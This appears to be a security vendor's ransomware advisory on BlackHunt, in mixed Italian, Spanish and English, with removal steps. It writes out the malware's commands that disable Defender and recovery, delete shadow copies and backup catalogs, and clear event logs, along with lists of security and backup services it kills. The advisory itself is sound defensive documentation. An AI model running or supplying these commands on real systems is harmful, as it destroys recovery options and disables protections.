Ransom.Win32.BLACKHUNT.THLBHBB
W32/Conti.F!tr.ransom (FORTINET), Ransom:Win32/Conti.ZC (MICROSOFT)
Windows
Tipo di minaccia informatica:
Ransomware
Distruttivo?:
No
Crittografato?:
No
In the wild::
Sì
Panoramica e descrizione
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Dettagli tecnici
Detalles de entrada
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Instalación
Infiltra los archivos siguientes:
- {Encrypted Directory}\#BlackHunt_Private.key
- {Encrypted Directory}\#BlackHunt_ReadMe.hta
- {Encrypted Directory}\#BlackHunt_ReadMe.txt
- %ProgramData%\#BlackHunt_BG.jpg
- %ProgramData%\#BlackHunt_Icon.ico
- %ProgramData%\#BlackHunt_ID.txt
- %ProgramData%\#BlackHunt_Logs.txt
- %ProgramData%\#BlackHunt_Public.key
Agrega los procesos siguientes:
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\.Black"" /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\.Black\DefaultIcon"" /ve /t REG_SZ /d ""C:ProgramData\#Blackhunt_Icon.ico"" /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\Black"" /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\classes\Black\DefaultIcon"" /ve /t REG_SZ /d ""C:ProgramData\#Blackhunt_Icon.ico"" /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""{2C5F9FCC-F266-43F6-BFD7-838DAEE269E11}"" /T reg_sz /D ""C:ProgramData\#BlackHunt_ReadMe.hta"" /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender""" /v ""DisableAntiSpyware""
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Real-Time Protection"" /v ""DisableRealtimeMonitoring"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Spynet"" /v ""SubmitSamplesConsent"" /t REG_DWORD /d 2 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats"" /v ""Threats_ThreatSeverityDefaultAction"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Low"" /t REG_DWORD /d 6 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Medium"" /t REG_DWORD /d 6 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""High"" /t REG_DWORD /d 6 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\Threats\ThreaServerityDefaultAction"" /v ""Severe"" /t REG_DWORD /d 6 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windowa Defender\UX Configuration"" /v ""Notification_Suppress"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoClose"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""StartMenuLogOff"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableChangePassword"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableLockWorkstation"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""NoLogoff"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableLockWorkstation"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore"" /v "DisableConfig"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore"" /v "DisableSR"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\WinRE"" /v ""DisableSetup"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableBackupLauncher"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableRestoreUI"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableSystemBackUI"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client"" /v ""DisableBackupUI"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoRun"" /t REG_DWORD /d 1 /f"
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""SecurityService"" /t REG_SZ /d ""[Malware File path] -backups"" /f'
- cmd.exe "/c SchTasks.exe /Create /RU ""NT AUTHORITY\SYSTEM'' /sc onstart /TN ""UPdate service Windows System"" /TR ""[Malware File Path] -backups""
- cmd.exe "/c vssadmin.exe Delete shadows /all /quiet"
- cmd.exe "/c bcdedit /set (default) recoveryenabled No"
- cmd.exe "/c bcdedit /set (default) bootstatuspolicy IgnoreAllFailures"
- cmd.exe "/c fsutil.exe usn deletejournal /D [drive]"
- cmd.exe "/c wbadmin.exe delete catalog -quiet"
- cmd.exe "/c schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /disable
- cmd.exe "/c reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 0 /f"
- cmd.exe "/c REG_ADD ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""legalnoticecaption"" /t REG_SZ /d ""WARNING WARNING WARNING . "" /f"
- cmd.exe " "/c REG_ADD ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""legalnoticetext" /t REG_SZ /d "Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by ["{BLOCKED}096@gmail.com" ] AND ["{BLOCKED}46@onionmail.com" ] "" /f"
- cmd.exe "/c REG DELETE ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"" /v ""HealthService"" /f"
- cmd.exe "/c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""DisableTaskMgr"" /t REG_DWORD /d 0 /f"
- cmd.exe "/c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v ""NoRun"
- cmd.exe "/c shutdown /r /t 10 /f"
- cmd.exe "/c taskkill /IM mshta.exe /f"
- cmd.exe "/c notepad.exe C:ProgramData\#BlackHunt_ReadMe.txt"
- cmd.exe "/c C:\ProgramData\#BlackHunt_ReadMe.hta"
- cmd.exe "/c shutdown /r /t 15 /f"
- cmd.exe "start /min cmd/c del /F [Malware File Path]
- Create process - "[malware file path] -nomutex -nologs -p [network drive] " →if -shares is enabled
- cmd "/c wevtutil.exe cl Setup"
- cmd "/c wevtutil.exe cl System"
- cmd "/c wevtutil.exe cl Application"
- cmd "/c wevtutil.exe cl Security"
- cmd "/c wevtutil.exe cl Security /e:false"
Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:
- BLACK_HUNT_MUTEX
Técnica de inicio automático
Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
SecurityService = {Malware File path} -backups
Otras modificaciones del sistema
Agrega las siguientes entradas de registro:
HKEY_LOCAL_MACHINE\Software\classes\
.Black\DefaultIcon
(Default) = %ProgramData%\#BlackHunt_Icon.ico
HKEY_LOCAL_MACHINE\Software\classes\
Black\DefaultIcon
(Default) = %ProgramData%\#BlackHunt_Icon.ico
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
{2C5F9FCC-F266-43F6-BFD7-838DAEE269E11} = %ProgramData%\#BlackHunt_ReadMe.hta
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender
DisableAntiSpyware = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Spynet
SubmitSamplesConsent = 2
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats
Threats_ThreatSeverityDefaultAction = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Low = 6
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Medium = 6
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
High = 6
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\Threats\ThreaServerityDefaultAction
Severe = 6
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows Defender\UX Configuration
Notification_Suppress = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoClose = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
StartMenuLogOff = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoLogoff = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\SystemRestore
DisableConfig = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\SystemRestore
DisableSR = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\WinRE
DisableSetup = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableBackupLauncher = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableRestoreUI = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableSystemBackUI = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\Backup\Client
DisableBackupUI = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 1
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = WARNING WARNING WARNING .
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticetext = Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by ["{BLOCKED}096@gmail.com"] AND ["{BLOCKED}46@onionmail.com"]
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0
Modifica las siguientes entradas de registro:
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = 0
(Note: The default value data of the said registry entry is 1.)
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLinkedConnection = 1
(Note: The default value data of the said registry entry is 0.)
Este malware establece la imagen siguiente como fondo de escritorio del sistema:
- %ProgramData%\#BlackHunt_BG.jpg
Propagación
Infiltra copias de sí mismo en las unidades siguientes:
- Shared Networks →If -spread is enabled
- Removable Drives →If -spread is enabled
Finalización del proceso
Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:
- sql.exe
- mbamtray.exe
- Ntrtscan.exe
- CNTAoSMgr.exe
- PccNTMon.exe
- tmlisten.exe
- xfssvccon.exe
- zoolz.exe
- agntsvc.exe
- dbeng50.exe
- dbsnmp.exe
- encsvc.exe
- firefoxconfig.exe
- infopath.exe
- isqlplussvc.exe
- msftesql.exe
- mydesktopqos.exe
- mydesktopservice.exe
- mysqld.exe
- mysqld-nt.exe
- mysqld-opt.exe
- thebat64.exe
- ocomm.exe
- thebat.exe
- tbirdconfig.exe
- notepad++.exe
- powerpnt.exe
- sqbcoreservice.exe
- sqlagent.exe
- sqlbrowser.exe
- sqlservr.exe
- sqlwriter.exe
- synctime.exe
- note
- sql
- oracle.exe
- ocssd.exe
- dbsnmp.exe
- synctime.exe
- agntsvc.exe
- isqlplussvc.exe
- xfssvccon.exe
- mydesktopservice.exe
- ocautoupds.exe
- encsvc.exe
- firefox.exe
- tbirdconfig.exe
- mydesktopqos.exe
- excel.exe
- msaccess.exe
- mspub.exe
- onenote.exe
- outlook.exe
- steam.exe
- thunderbird.exe
- visio.exe
- winword.exe
- wordpad.exe
- notepad.exe
Otros detalles
Hace lo siguiente:
- Connects to the following website to check the IP details:
- ip-api.com
- It terminates if the infected machine's country is among the list of countries below:
- Azerbaijan
- Armenia
- Belarus
- Georgia
- Kazakhstan
- Kyrgzstan
- Moldova
- Tajikistan
- Turkmenistan
- Uzbekistan
- Ukraine
- Iran
- Turkey
- SQLAgent$SQLEXPRESS
- MSSQL$QLEXPRESS
- SQLWriter
- SQLBrowser
- MSSQLSERVER
- MSSQL$CONTOSO1\
- SQLServer (MSSQLSERVER)
- MSSQL$SQLSERVERAGENT
- vmvss
- MSSQL$FE EXPRESS
- SQLANYs_Sage_FAS_Fixed_Assets
- MSSQL$VIM_SQLEXP
- MSSQLFDLauncher
- SQLTELEMETRY
- MsDtsServer130
- SSISTELEMETRY130
- MSSQL$VEEAMSQL2012
- SQLAgent$VEEAMSQL2012
- SQLAgent
- MSSQLServerADHelper100
- MSSQLServerOLAPService
- MsDtServer100
- ReportServer
- SQLTELEMETRY$HL
- TMBMServer
- MSSQL%PROGID
- MSSQL$WOLTERSKLUWER
- SQLAgent$PROGID
- SQLAgent$WOLTERSKLUWER
- MSSQLFDLauncher$OPTIMA
- MSSQL$OPTIMA
- SQLAgent$OPTIMA
- ReportServer$OPTIMA
- msftesql$SQLEXPRESS
- postgresql-x64-9.4
- MSDTC
- vmicvss
- HostControllerService
- MSComplianceAudit
- MSExchanfeADTopolog
- MSExchangeAntispamUpdate
- MSExchangeCompliance
- MSExchangeDagMgmt
- MSExchangeDelivery
- MSExchanfeDiagnostics
- MSExchangeEdgeSync
- MSExchangeFastSearch
- MSExchangeFrontEndTransport
- MSExchangeHM
- MSExchangeHMRecovery
- MSExchangeImap4
- MSExchangeIMAP4BE
- MSExchangeIS
- MSExchangeMailboxAssistants
- MSExchangeMailboxReplication
- MSExchangeNotificationBroker
- MSExchangePop3
- MSExchangePO3BE
- MSExchangeRepl
- MSExchangeRPC
- MSEchangeChangeServiceHost
- MSExchangeSubmission
- MSExchangeThrottling
- MSExchangeTransport
- MSExchangeTransportLogSearch
- MSExchangeVM
- MSExchangeVMCR
- SearchEchangeTracing
- wsbexchange
- IISADMIN
- Tomcat8CLOUDERP
- Tomcat8_DESARROLLO221
- sql
- System Event Notification
- COM+ Event System
- Microsoft Software Shadow Copy Provider
- Volume Shadow Copy
- swprv
- vds
- vss
- svc$
- memtas
- mepocs
- sophos
- veeam
- backup
- GxVss
- GxBlr
- GxFWD
- GxCVD
- GxCIMgr
- DefWatch
- ccEvtMgr
- ccSetMgr
- SavRoam
- RTVscan
- QBfCService
- QBIDPService
- Intuit
- QuickBooks
- FCS
- QBCFMonitoSerive
- YooBackup
- YooIT
- Zhudongfangyu
- str_raw_agent
- VSNAPVSS
- VeeamTransportSvc
- VeeamDeploymentService
- VeeamNFSSvc
- PDVFSService
- BackupExecVSSProvider
- BackupExecAgentAccelerator
- BackupExecAgentBrowser
- BackupExecDiveciMediaService
- BackupExecJobEngine
- BackupExecManagementService
- BackupExecRPCService
- AcrSch2Svc
- AcronisAgent
- CASAD2DWebSvc
- CAARCUpdateSvc
- ProcessHacker
- Procexp64
- Procexp
- WireShark
- dumpcap
- Sysmon
- Sysmon64
- procexp64a
- procmon
- procmon64
- procmon64a
- OLLYDBG
- x64dbg
- x86dbg
- idaq
- idaq64
- WinDbgFrameClass
- zeta Debuger
- Rock Debugger
- ObsidianGUI
- ID.exe
- lordpe
- Die.exe
- xntsv
- xocalc
- xvlk
- NFD.exe
- PDBRIPPER
- IDA64
- IDA.exe
- Immunitydebugger
- ghidra
- x32dbg
- 82C →Azeri(Azerbaijan)
- 42C →Azeri(Azerbaijan)
- 42B →Armenian(Armenia)
- 423 →Belarusian(Belarus)
- 437 →Georgian(Georgia)
- 42F →Macedonian(Macedonia)
- 440 →Kyrgyz(Kyrgyzstan)
- 819 →Russian(Russia)
- 428 →Tajic(Tajikistan)
- 442 →Turkmen(Turkmenistan)
- 843 →Uzbek-Cyrillic(Uzbekistan
- 443 →Uzbek-Latin(Uzbekistan)
- 422 →Ukrainian(Ukraine)
- 429 →Persian(Iran)
- 41F →Turkish(Turkey)
Soluzioni
Step 2
Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Reiniciar en modo seguro
Step 5
Eliminar este valor del Registro
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- {2C5F9FCC-F266-43F6-BFD7-838DAEE269E11} = %ProgramData%\#BlackHunt_ReadMe.hta
- In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- SecurityService = [Malware File path] -backups
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
- NoClose = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
- StartMenuLogOff = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableChangePassword = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableLockWorkstation = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- NoLogoff = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore
- DisableConfig = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\SystemRestore
- DisableSR = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\WinRE
- DisableSetup = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
- DisableBackupLauncher = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
- DisableRestoreUI = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
- DisableSystemBackUI = 1
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Backup\Client
- DisableBackUI = 1
- In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- legalnoticecaption = WARNING WARNING WARNING .
- In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- legalnoticetext = Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by [amikel096@gmail.com] AND [onion746@onionmail.com] /v legalnoticetext /t REG_SZ /d Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen, Do You Want Your Files? read [ReadMe] Files carefully and contact us by [amikel096@gmail.com] AND [onion746@onionmail.com]
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLinkedConnection = 1
Step 6
Eliminar esta clave del Registro
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.Black
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.Black\DefaultIcon
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Black
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Black\DefaultIcon
Step 7
Restaurar este valor del Registro modificado
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- InHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLUA = 0 (Change to default value: 1)
Step 8
Buscar y eliminar estos archivos
- {Encrypted Directory}\#BlackHunt_Private.key
- {Encrypted Directory}\#BlackHunt_ReadMe.hta
- {Encrypted Directory}\#BlackHunt_ReadMe.txt
- %ProgramData%\#BlackHunt_BG.jpg
- %ProgramData%\#BlackHunt_Icon.ico
- %ProgramData%\#BlackHunt_ID.txt
- %ProgramData%\#BlackHunt_Logs.txt
- %ProgramData%\#BlackHunt_Public.key
- {Encrypted Directory}\#BlackHunt_Private.key
- {Encrypted Directory}\#BlackHunt_ReadMe.hta
- {Encrypted Directory}\#BlackHunt_ReadMe.txt
- %ProgramData%\#BlackHunt_BG.jpg
- %ProgramData%\#BlackHunt_Icon.ico
- %ProgramData%\#BlackHunt_ID.txt
- %ProgramData%\#BlackHunt_Logs.txt
- %ProgramData%\#BlackHunt_Public.key
Step 9
Restablecer las propiedades del escritorio
Step 10
Restore encrypted files from backup.
Step 11
Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.Win32.BLACKHUNT.THLBHBB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.
Step 12
Eliminar este valor del Registro
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
RESTORESondaggio